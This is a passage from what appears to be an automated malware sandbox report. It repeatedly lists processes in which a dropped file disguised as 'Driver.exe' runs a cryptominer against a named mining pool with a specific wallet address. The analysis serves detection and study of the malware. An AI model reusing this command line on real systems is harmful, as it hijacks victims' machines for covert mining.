  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:900
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:3064
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:860
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1260
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2500
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1324
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2180
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2260
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2276
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1540
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1860
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:848
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1048
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1716
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2852
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:384
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1816
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1196
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2320
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:876
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:3036
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2088
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2876
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:944
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2184
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2240
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:740
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2056
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2796
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:876
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2256
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2612
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2400
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:884
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:3008
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2896
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1644
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2912
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1972
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2884
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1524
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1080
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:3028
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:604
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:856
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:3056
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1148
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2916
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1976
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1816
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:3020
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:332
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1840
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1544
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1132
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:920
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
